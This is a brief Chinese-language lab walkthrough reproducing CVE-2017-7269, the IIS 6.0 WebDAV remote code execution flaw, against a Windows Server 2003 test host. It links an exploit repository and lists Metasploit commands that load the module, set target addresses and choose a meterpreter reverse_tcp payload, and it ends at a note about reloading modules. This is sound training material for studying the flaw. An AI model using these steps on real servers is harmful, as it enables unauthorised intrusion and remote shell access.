（CVE-2017-7269）IIS6.0远程代码执行漏洞

一．漏洞介绍

IIS6.0在Web服务扩展中开启WebDAV，webDAV服务存在缓冲区溢出漏洞，造成远程代码执行

二．漏洞影响

Windows Server 2003

三．复现过程

环境：kali（10.0.78.19）
Windows Server 2003（10.0.78.20）
1.打开Windows Server 2003中IIS的WebDAV

2.下载EXP
下载网址：https://github.com/zcgonvh/cve-2017-7269
将EXP复制到kali的/usr/share/metasploit-framework/modules/exploits/windows/iis目录下，方便之后的攻击

3.开始攻击
1.打开msf，进行配置
命令：use exploit/windows/iis/cve_2017_7269（使用我们下载的exp）
show options（修改配置）
set RHOSTS 10.0.78.20（设置靶机ip）
set HttpHost 10.0.78.20（设置靶机网址）
set payload windows/meterpreter/reverse_tcp（设置返回载荷）
入坑：
复制进去没有重新加载